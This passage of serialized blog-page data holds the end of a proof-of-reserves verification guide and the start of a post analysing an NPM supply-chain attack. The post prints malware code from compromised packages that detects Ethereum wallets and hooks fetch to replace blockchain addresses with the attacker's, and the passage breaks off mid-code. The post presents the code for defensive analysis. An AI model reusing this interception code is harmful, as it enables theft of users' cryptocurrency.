themselves.",{"type":20,"tag":72,"props":95249,"children":95250},{},[95251,95256],{"type":20,"tag":3717,"props":95252,"children":95253},{},[95254],{"type":26,"value":95255},"Prover Version",{"type":26,"value":95257}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":20,"tag":72,"props":95259,"children":95260},{},[95261,95266],{"type":20,"tag":3717,"props":95262,"children":95263},{},[95264],{"type":26,"value":95265},"File Hash (SHA256)",{"type":26,"value":95267}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":20,"tag":29,"props":95269,"children":95270},{},[95271],{"type":26,"value":95272},"Also, you can check the exchange's liabilities on the website:",{"type":20,"tag":29,"props":95274,"children":95275},{},[95276],{"type":20,"tag":2308,"props":95277,"children":95279},{"alt":48830,"src":95278},"/posts/por/backpack-por-liabilities.png",[],{"type":20,"tag":29,"props":95281,"children":95282},{},[95283,95285,95291,95293,95299],{"type":26,"value":95284},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":20,"tag":35,"props":95286,"children":95289},{"href":95287,"rel":95288},"https://backpack.exchange/reserves",[39],[95290],{"type":26,"value":95287},{"type":26,"value":95292}," and our verifier server for backpack at ",{"type":20,"tag":35,"props":95294,"children":95297},{"href":95295,"rel":95296},"https://backpack-por.osec.io/",[39],[95298],{"type":26,"value":95295},{"type":26,"value":61},{"type":20,"tag":21,"props":95301,"children":95303},{"id":95302},"self-verification",[95304],{"type":26,"value":95305},"Self-verification",{"type":20,"tag":29,"props":95307,"children":95308},{},[95309],{"type":26,"value":95310},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":20,"tag":219,"props":95312,"children":95314},{"id":95313},"how-to-verify-if-i-was-included",[95315],{"type":26,"value":95316},"How to verify if I was included?",{"type":20,"tag":29,"props":95318,"children":95319},{},[95320],{"type":26,"value":95321},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":20,"tag":68,"props":95323,"children":95324},{},[95325,95336,95354],{"type":20,"tag":72,"props":95326,"children":95327},{},[95328,95335],{"type":20,"tag":35,"props":95329,"children":95332},{"href":95330,"rel":95331},"https://github.com/otter-sec/por_v2/releases",[39],[95333],{"type":26,"value":95334},"Download the PoRv2 executable from our github",{"type":26,"value":61},{"type":20,"tag":72,"props":95337,"children":95338},{},[95339,95341,95346,95347,95352],{"type":26,"value":95340},"Download the inclusion and the final proof files from the exchange (",{"type":20,"tag":119,"props":95342,"children":95344},{"className":95343},[],[95345],{"type":26,"value":95030},{"type":26,"value":9392},{"type":20,"tag":119,"props":95348,"children":95350},{"className":95349},[],[95351],{"type":26,"value":95005},{"type":26,"value":95353},") and put the files in the same directory as the PoRv2 app.",{"type":20,"tag":72,"props":95355,"children":95356},{},[95357,95359,95365],{"type":26,"value":95358},"Open the terminal and execute this: ",{"type":20,"tag":119,"props":95360,"children":95362},{"className":95361},[],[95363],{"type":26,"value":95364},"./plonky2_por verify-inclusion",{"type":26,"value":61},{"type":20,"tag":29,"props":95367,"children":95368},{},[95369],{"type":26,"value":95370},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":20,"tag":305,"props":95372,"children":95374},{"code":95373},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[95375],{"type":20,"tag":119,"props":95376,"children":95377},{"__ignoreMap":7},[95378],{"type":26,"value":95373},{"type":20,"tag":219,"props":95380,"children":95382},{"id":95381},"how-can-i-verify-the-global-proof",[95383],{"type":26,"value":95384},"How can I verify the global proof?",{"type":20,"tag":29,"props":95386,"children":95387},{},[95388],{"type":26,"value":95389},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":20,"tag":68,"props":95391,"children":95392},{},[95393,95402,95420],{"type":20,"tag":72,"props":95394,"children":95395},{},[95396,95401],{"type":20,"tag":35,"props":95397,"children":95399},{"href":95330,"rel":95398},[39],[95400],{"type":26,"value":95334},{"type":26,"value":61},{"type":20,"tag":72,"props":95403,"children":95404},{},[95405,95407,95412,95413,95418],{"type":26,"value":95406},"Download the ",{"type":20,"tag":119,"props":95408,"children":95410},{"className":95409},[],[95411],{"type":26,"value":94998},{"type":26,"value":35966},{"type":20,"tag":119,"props":95414,"children":95416},{"className":95415},[],[95417],{"type":26,"value":95005},{"type":26,"value":95419}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":20,"tag":72,"props":95421,"children":95422},{},[95423,95425,95430],{"type":26,"value":95424},"Open the terminal and execute ",{"type":20,"tag":119,"props":95426,"children":95428},{"className":95427},[],[95429],{"type":26,"value":95364},{"type":26,"value":95431},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":20,"tag":29,"props":95433,"children":95434},{},[95435],{"type":26,"value":95436},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":20,"tag":305,"props":95438,"children":95440},{"code":95439},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[95441],{"type":20,"tag":119,"props":95442,"children":95443},{"__ignoreMap":7},[95444],{"type":26,"value":95439},{"type":20,"tag":29,"props":95446,"children":95447},{},[95448],{"type":26,"value":95449},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":20,"tag":305,"props":95451,"children":95453},{"code":95452},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[95454],{"type":20,"tag":119,"props":95455,"children":95456},{"__ignoreMap":7},[95457],{"type":26,"value":95452},{"type":20,"tag":21,"props":95459,"children":95460},{"id":1211},[95461],{"type":26,"value":1214},{"type":20,"tag":29,"props":95463,"children":95464},{},[95465],{"type":26,"value":95466},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":20,"tag":29,"props":95468,"children":95469},{},[95470,95472,95478],{"type":26,"value":95471},"We are currently working with Backpack to implement this algorithm ",{"type":20,"tag":35,"props":95473,"children":95475},{"href":95287,"rel":95474},[39],[95476],{"type":26,"value":95477},"in production",{"type":26,"value":95479}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":20,"tag":29,"props":95481,"children":95482},{},[95483,95485,95492],{"type":26,"value":95484},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":20,"tag":35,"props":95486,"children":95489},{"href":95487,"rel":95488},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[39],[95490],{"type":26,"value":95491},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":26,"value":61},{"title":7,"searchDepth":356,"depth":356,"links":95494},[95495,95496,95497,95498,95501,95506,95510,95511,95515],{"id":90744,"depth":356,"text":90747},{"id":90825,"depth":356,"text":90828},{"id":90895,"depth":356,"text":90898},{"id":90949,"depth":356,"text":90952,"children":95499},[95500],{"id":91028,"depth":365,"text":91031},{"id":91116,"depth":356,"text":91119,"children":95502},[95503,95504,95505],{"id":91189,"depth":365,"text":91192},{"id":91661,"depth":365,"text":91664},{"id":93400,"depth":365,"text":93403},{"id":94979,"depth":356,"text":94982,"children":95507},[95508,95509],{"id":7680,"depth":365,"text":94987},{"id":95041,"depth":365,"text":95044},{"id":95171,"depth":356,"text":95174},{"id":95302,"depth":356,"text":95305,"children":95512},[95513,95514],{"id":95313,"depth":365,"text":95316},{"id":95381,"depth":365,"text":95384},{"id":1211,"depth":356,"text":1214},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":95520,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":95521,"description":95522,"date":95523,"author":29616,"image":95524,"isFeatured":15,"onBlogPage":15,"tags":95527,"body":95530,"_type":1242,"_id":97956,"_source":1244,"_file":97957,"_stem":97958,"_extension":1247},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":95525,"width":95526,"height":12024},"/posts/supply-chain-attcks/title.png",1536,[95528,95529],"npm","supply-chain",{"type":17,"children":95531,"toc":97939},[95532,95545,95550,95555,95561,95566,95574,95904,95912,96475,96483,97190,97196,97201,97207,97212,97217,97223,97228,97240,97245,97271,97358,97370,97395,97411,97416,97421,97627,97669,97674,97686,97692,97704,97746,97759,97839,97851,97864,97871,97882,97890,97896,97909,97914,97918,97923,97935],{"type":20,"tag":29,"props":95533,"children":95534},{},[95535,95537,95543],{"type":26,"value":95536},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":20,"tag":119,"props":95538,"children":95540},{"className":95539},[],[95541],{"type":26,"value":95542},"chalk",{"type":26,"value":95544},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":20,"tag":29,"props":95546,"children":95547},{},[95548],{"type":26,"value":95549},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":20,"tag":29,"props":95551,"children":95552},{},[95553],{"type":26,"value":95554},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":20,"tag":21,"props":95556,"children":95558},{"id":95557},"qix-malware-how-it-worked",[95559],{"type":26,"value":95560},"Qix Malware: How It Worked",{"type":20,"tag":29,"props":95562,"children":95563},{},[95564],{"type":26,"value":95565},"The attacker published modified versions of packages with code designed to do three things:",{"type":20,"tag":68,"props":95567,"children":95568},{},[95569],{"type":20,"tag":72,"props":95570,"children":95571},{},[95572],{"type":26,"value":95573},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":20,"tag":305,"props":95575,"children":95577},{"code":95576,"language":29781,"meta":7,"className":29779,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[95578],{"type":20,"tag":119,"props":95579,"children":95580},{"__ignoreMap":7},[95581,95601,95613,95657,95674,95681,95717,95729,95757,95777,95797,95809,95816,95851,95871,95883,95890,95897],{"type":20,"tag":315,"props":95582,"children":95583},{"class":317,"line":318},[95584,95588,95592,95597],{"type":20,"tag":315,"props":95585,"children":95586},{"style":541},[95587],{"type":26,"value":34561},{"type":20,"tag":315,"props":95589,"children":95590},{"style":541},[95591],{"type":26,"value":36630},{"type":20,"tag":315,"props":95593,"children":95594},{"style":345},[95595],{"type":26,"value":95596}," checkethereumw",{"type":20,"tag":315,"props":95598,"children":95599},{"style":328},[95600],{"type":26,"value":14137},{"type":20,"tag":315,"props":95602,"children":95603},{"class":317,"line":356},[95604,95609],{"type":20,"tag":315,"props":95605,"children":95606},{"style":525},[95607],{"type":26,"value":95608}," try",{"type":20,"tag":315,"props":95610,"children":95611},{"style":328},[95612],{"type":26,"value":1092},{"type":20,"tag":315,"props":95614,"children":95615},{"class":317,"line":365},[95616,95620,95625,95629,95633,95637,95641,95645,95649,95653],{"type":20,"tag":315,"props":95617,"children":95618},{"style":541},[95619],{"type":26,"value":49920},{"type":20,"tag":315,"props":95621,"children":95622},{"style":635},[95623],{"type":26,"value":95624}," _0x124ed3",{"type":20,"tag":315,"props":95626,"children":95627},{"style":334},[95628],{"type":26,"value":1395},{"type":20,"tag":315,"props":95630,"children":95631},{"style":525},[95632],{"type":26,"value":34627},{"type":20,"tag":315,"props":95634,"children":95635},{"style":635},[95636],{"type":26,"value":29823},{"type":20,"tag":315,"props":95638,"children":95639},{"style":328},[95640],{"type":26,"value":61},{"type":20,"tag":315,"props":95642,"children":95643},{"style":635},[95644],{"type":26,"value":29832},{"type":20,"tag":315,"props":95646,"children":95647},{"style":328},[95648],{"type":26,"value":61},{"type":20,"tag":315,"props":95650,"children":95651},{"style":345},[95652],{"type":26,"value":29908},{"type":20,"tag":315,"props":95654,"children":95655},{"style":328},[95656],{"type":26,"value":13541},{"type":20,"tag":315,"props":95658,"children":95659},{"class":317,"line":374},[95660,95665,95669],{"type":20,"tag":315,"props":95661,"children":95662},{"style":2652},[95663],{"type":26,"value":95664}," 'method'",{"type":20,"tag":315,"props":95666,"children":95667},{"style":635},[95668],{"type":26,"value":2884},{"type":20,"tag":315,"props":95670,"children":95671},{"style":2652},[95672],{"type":26,"value":95673}," \"eth_accounts\"\n",{"type":20,"tag":315,"props":95675,"children":95676},{"class":317,"line":383},[95677],{"type":20,"tag":315,"props":95678,"children":95679},{"style":328},[95680],{"type":26,"value":30672},{"type":20,"tag":315,"props":95682,"children":95683},{"class":317,"line":407},[95684,95688,95692,95697,95701,95705,95709,95713],{"type":20,"tag":315,"props":95685,"children":95686},{"style":525},[95687],{"type":26,"value":10680},{"type":20,"tag":315,"props":95689,"children":95690},{"style":328},[95691],{"type":26,"value":463},{"type":20,"tag":315,"props":95693,"children":95694},{"style":635},[95695],{"type":26,"value":95696},"_0x124ed3",{"type":20,"tag":315,"props":95698,"children":95699},{"style":328},[95700],{"type":26,"value":61},{"type":20,"tag":315,"props":95702,"children":95703},{"style":635},[95704],{"type":26,"value":6900},{"type":20,"tag":315,"props":95706,"children":95707},{"style":334},[95708],{"type":26,"value":12595},{"type":20,"tag":315,"props":95710,"children":95711},{"style":765},[95712],{"type":26,"value":985},{"type":20,"tag":315,"props":95714,"children":95715},{"style":328},[95716],{"type":26,"value":549},{"type":20,"tag":315,"props":95718,"children":95719},{"class":317,"line":421},[95720,95725],{"type":20,"tag":315,"props":95721,"children":95722},{"style":345},[95723],{"type":26,"value":95724}," runmask",{"type":20,"tag":315,"props":95726,"children":95727},{"style":328},[95728],{"type":26,"value":568},{"type":20,"tag":315,"props":95730,"children":95731},{"class":317,"line":430},[95732,95736,95740,95745,95749,95753],{"type":20,"tag":315,"props":95733,"children":95734},{"style":525},[95735],{"type":26,"value":37703},{"type":20,"tag":315,"props":95737,"children":95738},{"style":328},[95739],{"type":26,"value":463},{"type":20,"tag":315,"props":95741,"children":95742},{"style":635},[95743],{"type":26,"value":95744},"rund",{"type":20,"tag":315,"props":95746,"children":95747},{"style":334},[95748],{"type":26,"value":62641},{"type":20,"tag":315,"props":95750,"children":95751},{"style":765},[95752],{"type":26,"value":2916},{"type":20,"tag":315,"props":95754,"children":95755},{"style":328},[95756],{"type":26,"value":549},{"type":20,"tag":315,"props":95758,"children":95759},{"class":317,"line":453},[95760,95765,95769,95773],{"type":20,"tag":315,"props":95761,"children":95762},{"style":635},[95763],{"type":26,"value":95764}," rund",{"type":20,"tag":315,"props":95766,"children":95767},{"style":334},[95768],{"type":26,"value":1395},{"type":20,"tag":315,"props":95770,"children":95771},{"style":765},[95772],{"type":26,"value":2916},{"type":20,"tag":315,"props":95774,"children":95775},{"style":328},[95776],{"type":26,"value":1405},{"type":20,"tag":315,"props":95778,"children":95779},{"class":317,"line":486},[95780,95785,95789,95793],{"type":20,"tag":315,"props":95781,"children":95782},{"style":635},[95783],{"type":26,"value":95784}," neth",{"type":20,"tag":315,"props":95786,"children":95787},{"style":334},[95788],{"type":26,"value":1395},{"type":20,"tag":315,"props":95790,"children":95791},{"style":765},[95792],{"type":26,"value":2916},{"type":20,"tag":315,"props":95794,"children":95795},{"style":328},[95796],{"type":26,"value":1405},{"type":20,"tag":315,"props":95798,"children":95799},{"class":317,"line":499},[95800,95805],{"type":20,"tag":315,"props":95801,"children":95802},{"style":345},[95803],{"type":26,"value":95804}," newdlocal",{"type":20,"tag":315,"props":95806,"children":95807},{"style":328},[95808],{"type":26,"value":568},{"type":20,"tag":315,"props":95810,"children":95811},{"class":317,"line":513},[95812],{"type":20,"tag":315,"props":95813,"children":95814},{"style":328},[95815],{"type":26,"value":11064},{"type":20,"tag":315,"props":95817,"children":95818},{"class":317,"line":521},[95819,95823,95827,95831,95835,95839,95843,95847],{"type":20,"tag":315,"props":95820,"children":95821},{"style":328},[95822],{"type":26,"value":14180},{"type":20,"tag":315,"props":95824,"children":95825},{"style":525},[95826],{"type":26,"value":1087},{"type":20,"tag":315,"props":95828,"children":95829},{"style":525},[95830],{"type":26,"value":14189},{"type":20,"tag":315,"props":95832,"children":95833},{"style":328},[95834],{"type":26,"value":463},{"type":20,"tag":315,"props":95836,"children":95837},{"style":635},[95838],{"type":26,"value":95744},{"type":20,"tag":315,"props":95840,"children":95841},{"style":334},[95842],{"type":26,"value":62641},{"type":20,"tag":315,"props":95844,"children":95845},{"style":765},[95846],{"type":26,"value":2916},{"type":20,"tag":315,"props":95848,"children":95849},{"style":328},[95850],{"type":26,"value":549},{"type":20,"tag":315,"props":95852,"children":95853},{"class":317,"line":552},[95854,95859,95863,95867],{"type":20,"tag":315,"props":95855,"children":95856},{"style":635},[95857],{"type":26,"value":95858}," rund",{"type":20,"tag":315,"props":95860,"children":95861},{"style":334},[95862],{"type":26,"value":1395},{"type":20,"tag":315,"props":95864,"children":95865},{"style":765},[95866],{"type":26,"value":2916},{"type":20,"tag":315,"props":95868,"children":95869},{"style":328},[95870],{"type":26,"value":1405},{"type":20,"tag":315,"props":95872,"children":95873},{"class":317,"line":571},[95874,95879],{"type":20,"tag":315,"props":95875,"children":95876},{"style":345},[95877],{"type":26,"value":95878}," newdlocal",{"type":20,"tag":315,"props":95880,"children":95881},{"style":328},[95882],{"type":26,"value":568},{"type":20,"tag":315,"props":95884,"children":95885},{"class":317,"line":2031},[95886],{"type":20,"tag":315,"props":95887,"children":95888},{"style":328},[95889],{"type":26,"value":1736},{"type":20,"tag":315,"props":95891,"children":95892},{"class":317,"line":2053},[95893],{"type":20,"tag":315,"props":95894,"children":95895},{"style":328},[95896],{"type":26,"value":4265},{"type":20,"tag":315,"props":95898,"children":95899},{"class":317,"line":2061},[95900],{"type":20,"tag":315,"props":95901,"children":95902},{"style":328},[95903],{"type":26,"value":577},{"type":20,"tag":68,"props":95905,"children":95906},{"start":356},[95907],{"type":20,"tag":72,"props":95908,"children":95909},{},[95910],{"type":26,"value":95911},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":20,"tag":305,"props":95913,"children":95915},{"code":95914,"language":29781,"meta":7,"className":29779,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[95916],{"type":20,"tag":119,"props":95917,"children":95918},{"__ignoreMap":7},[95919,95954,96011,96073,96088,96125,96164,96179,96218,96225,96258,96274,96333,96371,96396,96421,96445,96453,96468],{"type":20,"tag":315,"props":95920,"children":95921},{"class":317,"line":318},[95922,95926,95930,95934,95938,95942,95946,95950],{"type":20,"tag":315,"props":95923,"children":95924},{"style":345},[95925],{"type":26,"value":32509},{"type":20,"tag":315,"props":95927,"children":95928},{"style":334},[95929],{"type":26,"value":1395},{"type":20,"tag":315,"props":95931,"children":95932},{"style":541},[95933],{"type":26,"value":34781},{"type":20,"tag":315,"props":95935,"children":95936},{"style":541},[95937],{"type":26,"value":36630},{"type":20,"tag":315,"props":95939,"children":95940},{"style":328},[95941],{"type":26,"value":463},{"type":20,"tag":315,"props":95943,"children":95944},{"style":334},[95945],{"type":26,"value":7990},{"type":20,"tag":315,"props":95947,"children":95948},{"style":635},[95949],{"type":26,"value":36644},{"type":20,"tag":315,"props":95951,"children":95952},{"style":328},[95953],{"type":26,"value":549},{"type":20,"tag":315,"props":95955,"children":95956},{"class":317,"line":356},[95957,95961,95966,95970,95974,95979,95983,95987,95991,95995,95999,96003,96007],{"type":20,"tag":315,"props":95958,"children":95959},{"style":541},[95960],{"type":26,"value":34604},{"type":20,"tag":315,"props":95962,"children":95963},{"style":635},[95964],{"type":26,"value":95965}," originalResponse",{"type":20,"tag":315,"props":95967,"children":95968},{"style":334},[95969],{"type":26,"value":1395},{"type":20,"tag":315,"props":95971,"children":95972},{"style":525},[95973],{"type":26,"value":34627},{"type":20,"tag":315,"props":95975,"children":95976},{"style":635},[95977],{"type":26,"value":95978}," originalFetch",{"type":20,"tag":315,"props":95980,"children":95981},{"style":328},[95982],{"type":26,"value":61},{"type":20,"tag":315,"props":95984,"children":95985},{"style":345},[95986],{"type":26,"value":36712},{"type":20,"tag":315,"props":95988,"children":95989},{"style":328},[95990],{"type":26,"value":1049},{"type":20,"tag":315,"props":95992,"children":95993},{"style":541},[95994],{"type":26,"value":16095},{"type":20,"tag":315,"props":95996,"children":95997},{"style":328},[95998],{"type":26,"value":44},{"type":20,"tag":315,"props":96000,"children":96001},{"style":334},[96002],{"type":26,"value":7990},{"type":20,"tag":315,"props":96004,"children":96005},{"style":635},[96006],{"type":26,"value":36644},{"type":20,"tag":315,"props":96008,"children":96009},{"style":328},[96010],{"type":26,"value":2214},{"type":20,"tag":315,"props":96012,"children":96013},{"class":317,"line":365},[96014,96018,96023,96027,96031,96035,96040,96044,96048,96052,96057,96061,96065,96069],{"type":20,"tag":315,"props":96015,"children":96016},{"style":541},[96017],{"type":26,"value":34604},{"type":20,"tag":315,"props":96019,"children":96020},{"style":635},[96021],{"type":26,"value":96022}," contentType",{"type":20,"tag":315,"props":96024,"children":96025},{"style":334},[96026],{"type":26,"value":1395},{"type":20,"tag":315,"props":96028,"children":96029},{"style":635},[96030],{"type":26,"value":95965},{"type":20,"tag":315,"props":96032,"children":96033},{"style":328},[96034],{"type":26,"value":61},{"type":20,"tag":315,"props":96036,"children":96037},{"style":635},[96038],{"type":26,"value":96039},"headers",{"type":20,"tag":315,"props":96041,"children":96042},{"style":328},[96043],{"type":26,"value":61},{"type":20,"tag":315,"props":96045,"children":96046},{"style":345},[96047],{"type":26,"value":14753},{"type":20,"tag":315,"props":96049,"children":96050},{"style":328},[96051],{"type":26,"value":1049},{"type":20,"tag":315,"props":96053,"children":96054},{"style":2652},[96055],{"type":26,"value":96056},"'Content-Type'",{"type":20,"tag":315,"props":96058,"children":96059},{"style":328},[96060],{"type":26,"value":1468},{"type":20,"tag":315,"props":96062,"children":96063},{"style":334},[96064],{"type":26,"value":20823},{"type":20,"tag":315,"props":96066,"children":96067},{"style":2652},[96068],{"type":26,"value":30254},{"type":20,"tag":315,"props":96070,"children":96071},{"style":328},[96072],{"type":26,"value":1405},{"type":20,"tag":315,"props":96074,"children":96075},{"class":317,"line":374},[96076,96080,96084],{"type":20,"tag":315,"props":96077,"children":96078},{"style":541},[96079],{"type":26,"value":6251},{"type":20,"tag":315,"props":96081,"children":96082},{"style":635},[96083],{"type":26,"value":13505},{"type":20,"tag":315,"props":96085,"children":96086},{"style":328},[96087],{"type":26,"value":1405},{"type":20,"tag":315,"props":96089,"children":96090},{"class":317,"line":383},[96091,96095,96099,96104,96108,96112,96116,96121],{"type":20,"tag":315,"props":96092,"children":96093},{"style":525},[96094],{"type":26,"value":29809},{"type":20,"tag":315,"props":96096,"children":96097},{"style":328},[96098],{"type":26,"value":463},{"type":20,"tag":315,"props":96100,"children":96101},{"style":635},[96102],{"type":26,"value":96103},"contentType",{"type":20,"tag":315,"props":96105,"children":96106},{"style":328},[96107],{"type":26,"value":61},{"type":20,"tag":315,"props":96109,"children":96110},{"style":345},[96111],{"type":26,"value":33596},{"type":20,"tag":315,"props":96113,"children":96114},{"style":328},[96115],{"type":26,"value":1049},{"type":20,"tag":315,"props":96117,"children":96118},{"style":2652},[96119],{"type":26,"value":96120},"'application/json'",{"type":20,"tag":315,"props":96122,"children":96123},{"style":328},[96124],{"type":26,"value":33609},{"type":20,"tag":315,"props":96126,"children":96127},{"class":317,"line":407},[96128,96132,96136,96140,96144,96148,96152,96156,96160],{"type":20,"tag":315,"props":96129,"children":96130},{"style":635},[96131],{"type":26,"value":41650},{"type":20,"tag":315,"props":96133,"children":96134},{"style":334},[96135],{"type":26,"value":1395},{"type":20,"tag":315,"props":96137,"children":96138},{"style":525},[96139],{"type":26,"value":34627},{"type":20,"tag":315,"props":96141,"children":96142},{"style":635},[96143],{"type":26,"value":95965},{"type":20,"tag":315,"props":96145,"children":96146},{"style":328},[96147],{"type":26,"value":61},{"type":20,"tag":315,"props":96149,"children":96150},{"style":345},[96151],{"type":26,"value":13821},{"type":20,"tag":315,"props":96153,"children":96154},{"style":328},[96155],{"type":26,"value":28583},{"type":20,"tag":315,"props":96157,"children":96158},{"style":345},[96159],{"type":26,"value":32412},{"type":20,"tag":315,"props":96161,"children":96162},{"style":328},[96163],{"type":26,"value":568},{"type":20,"tag":315,"props":96165,"children":96166},{"class":317,"line":421},[96167,96171,96175],{"type":20,"tag":315,"props":96168,"children":96169},{"style":328},[96170],{"type":26,"value":29883},{"type":20,"tag":315,"props":96172,"children":96173},{"style":525},[96174],{"type":26,"value":1087},{"type":20,"tag":315,"props":96176,"children":96177},{"style":328},[96178],{"type":26,"value":1092},{"type":20,"tag":315,"props":96180,"children":96181},{"class":317,"line":430},[96182,96186,96190,96194,96198,96202,96206,96210,96214],{"type":20,"tag":315,"props":96183,"children":96184},{"style":635},[96185],{"type":26,"value":41650},{"type":20,"tag":315,"props":96187,"children":96188},{"style":334},[96189],{"type":26,"value":1395},{"type":20,"tag":315,"props":96191,"children":96192},{"style":525},[96193],{"type":26,"value":34627},{"type":20,"tag":315,"props":96195,"children":96196},{"style":635},[96197],{"type":26,"value":95965},{"type":20,"tag":315,"props":96199,"children":96200},{"style":328},[96201],{"type":26,"value":61},{"type":20,"tag":315,"props":96203,"children":96204},{"style":345},[96205],{"type":26,"value":13821},{"type":20,"tag":315,"props":96207,"children":96208},{"style":328},[96209],{"type":26,"value":28583},{"type":20,"tag":315,"props":96211,"children":96212},{"style":345},[96213],{"type":26,"value":26},{"type":20,"tag":315,"props":96215,"children":96216},{"style":328},[96217],{"type":26,"value":568},{"type":20,"tag":315,"props":96219,"children":96220},{"class":317,"line":453},[96221],{"type":20,"tag":315,"props":96222,"children":96223},{"style":328},[96224],{"type":26,"value":4265},{"type":20,"tag":315,"props":96226,"children":96227},{"class":317,"line":486},[96228,96232,96237,96241,96246,96250,96254],{"type":20,"tag":315,"props":96229,"children":96230},{"style":541},[96231],{"type":26,"value":34604},{"type":20,"tag":315,"props":96233,"children":96234},{"style":635},[96235],{"type":26,"value":96236}," 